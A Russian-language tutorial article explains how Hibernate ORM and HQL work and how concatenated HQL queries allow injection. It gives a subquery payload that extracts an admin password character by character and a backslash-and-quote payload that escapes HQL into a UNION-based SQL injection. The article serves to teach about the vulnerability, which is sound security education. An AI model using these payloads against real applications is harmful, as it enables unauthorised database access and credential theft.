Hibernate — популярнейший фреймворк для работы с базами данных на Java. В нем реализован свой язык запросов (HQL), но есть лазейка, которая позволяет выйти за его пределы и провести обычную SQL-инъекцию.
В общем смысле object-relational mapping (ORM) — это связывание (отображение, mapping) объектно-ориентированной модели данных с традиционными реляционными базами данных. Звучит такое определение замысловато, так что попробую объяснить его на пальцах.
У нас есть объектно-ориентированный язык вроде Java — в нем все построено на классах и объектах. У объектов есть состояния — это совокупность значений их полей.
С другой стороны, у нас есть обычные реляционные СУБД вроде MySQL, где данные хранятся в виде записей в таблицах и некоторые таблицы связаны между собой. Нередко возникает задача сохранить состояние какого-то объекта в базу данных. Решается она просто: достаточно разобрать объект на простейшие элементы (строки, числа, булевы значения...) и засунуть в таблицу. Восстанавливаются данные обратной операцией.
Но если сохраняемые объекты сложнее (к примеру, внутри них есть ссылки на другие объекты или многомерные массивы), то распихать все в нужные таблички и с нужными типами данных — это серьезная работа, хоть по большей части и рутинная.
Для экономии времени и усилий придуманы ORM-фреймворки. Они добавляют некую прослойку, и нам остается работать в рамках ООП: создаем, меняем и удаляем объекты и можем быть уверены, что БД будет отражать их состояние.
Hibernate — это ORM-фреймворк для Java, и он феноменально популярен. При этом Hibernate — громоздкая и сложная для понимания вещь (впрочем, программистам на Java не привыкать). Для нас же интересно, что имеется типовой подход к взлому. Но для его понимания мне придется в двух словах рассказать, как работает Hibernate.
Первым делом формируются сущности, которые будут храниться в базе данных. Это так называемые persistent-классы. Далее необходимо связать эти классы с таблицами в базе данных и определить их отношения («один ко многим», «многие ко многим»). Выглядит это примерно следующим образом (при использовании XML-файла, можно и аннотации юзать).
Как мы видим, мы указываем связь класса (Good — товар) с определенной таблицей (Goods). А далее — имен полей класса с одноименными столбцами таблицы с указанием типов (ID товара, название и его цена).
После этого нужно отредактировать файл hibernate.cfg.xml, в котором хранится информация по подключению. Еще один плюс Hibernate в том, что он сам будет менять SQL-запросы в зависимости от того, какая СУБД используется (а для нас это еще одно из мест, где могут быть креды от СУБД), — код приложения при этом остается неизменным.
Далее мы можем сохранять, обновлять или искать объекты простейшими командами:
session.save(good);
session.update(good);
Good existedGood = (Good) session.get(good.getClass(), good.getId())
session.delete(existedGood);
где session
— это объект сессии для работы с Hibernate.
Но это простейшие действия. Для чего-то более сложного есть возможность использовать Hibernate Query Language (а можно и нативный SQL). HQL чем-то похож на SQL, и запрос на нем выглядит примерно следующим образом.
FROM Good WHERE name LIKE 'any_string'
Здесь мы ищем объект, у которого в названии есть строка any_string
. Заметь, что здесь мы работаем с сущностями не баз данных (таблицы, столбцы), а классов (имя класса — Good, а не как у таблицы — Goods).
Запросы на HQL могут быть сложнее, но все равно они не уходят дальше типовых операций (select, update, delete и подобные). То есть здесь нет возможности вызывать какие-то процедуры или функции СУБД.
Важно еще раз подчеркнуть, что, используя Hibernate, мы работаем с объектами и классами, а фреймворк сам смотрит маппинг и отправляет в СУБД SQL-запросы на выборку или изменение данных.
Как и с SQL, при работе с HQL-запросами есть два подхода. Первый — это обычные запросы, когда запрос и пользовательские данные смешиваются.
Query query = session.createQuery("FROM Good WHERE name = '"+ user_input +"' ");
Второй — это параметризированные запросы, в них данные не смешиваются с командами, так как передаются отдельно.
Query query = session.createQuery("FROM Good WHERE name = :user_input ");
query.setParameter("user_input ", " user_input");
И хотя второй вариант настолько распространен (в случае как SQL, так и HQL), что даже создается ложное впечатление, будто в приложениях на Java не может быть SQL-инъекций, первый вариант все же встречается.
Что же мы можем сделать, если получится подпихнуть свои данные в запрос? Во-первых, по аналогии с SQL мы можем поползать по данным других объектов. Здесь можно найти примеры, вот один из них.
from Book
where title like '%'
and (select substring(password,1,1) from User where username='admin') = 'a'
Предполагается, что есть persistence-классы Book и User. Мы можем вставить нашу строку в like
. Так как в HQL запрещен union select
, можно вытягивать данные подзапросами. То есть мы можем ползать по всем данным объектов persistence-классов.
Есть и тулза, которая в этом поможет, — HQLmap. Она позволяет автоматизировать процесс раскрутки таких HQL.
Но все это детские игры. Самое лакомое было презентовано компанией SynAcktiv на недавней конференции. Исследователи обнаружили возможность вывалиться из HQL в SQL и получить полноценную SQL injection, с которой уже понятно, что делать.
Чтобы разобраться, как это происходит, нужно знать, как работает преобразование HQL в SQL. Предположим, у нас есть запрос.
from Contact WHERE lastname LIKE '%Doe%'
Он транслируется в следующий код на SQL.
SELECT contact0_.id as id1_0_,
contact0_.title as title2_0_,
contact0_.firstname as firstnam3_0_,
contact0_.lastname as lastname4_0_,
contact0_.address as address5_0_,
contact0_.phone as phone6_0_
FROM app1.contact contact0_
WHERE contact0_.lastname like '%Doe%'
Здесь все понятно и логично. Но между SQL и HQL есть разница в тонкостях синтаксиса. В HQL слеш (\
) не является специальным символом для экранирования других символов в SQL. Вместо этого в HQL для экранирования кавычки используется еще одна одинарная кавычка. Объединив знания об этих фактах, можно сделать такой запрос, который будет валидным HQL-запросом, но после преобразования в SQL вывалится из полученного SQL-запроса.
Doe\'' UNION SELECT 1,version(),3,4,5,6 #
Как видишь, мы добавили слеш и две одинарные кавычки. Но для HQL кавычка экранирует другую кавычку. Выходит, что мы не вываливаемся из HQL-выражения. А потому имеем валидный HQL-запрос.
from Contact
WHERE lastname LIKE '%Doe\'' UNION SELECT 1,version(),3,4,5,6 #%'
После конвертации в SQL слеш экранирует первую из двух одинарных кавычек, и мы вываливаемся из SQL-выражения без генерации ошибок парсером (ему могли бы не понравиться две последовательные кавычки). Хвост мы, конечно, отрезаем комментарием (#
).
Вот как в итоге будет выглядеть запрос на SQL.
SELECT contact0_.id as id1_0_,
contact0_.title as title2_0_,
contact0_.firstname as firstnam3_0_,
contact0_.lastname as lastname4_0_,
contact0_.address as address5_0_,
contact0_.phone as phone6_0_
FROM app1.contact contact0_
WHERE contact0_.lastname LIKE '%Doe\'' UNION SELECT 1,version(),3,4,5,6 #%'
Магия сработала, мы превратили HQL-инъекцию в классическую SQL.
Спасибо за внимание и успешных познаний нового!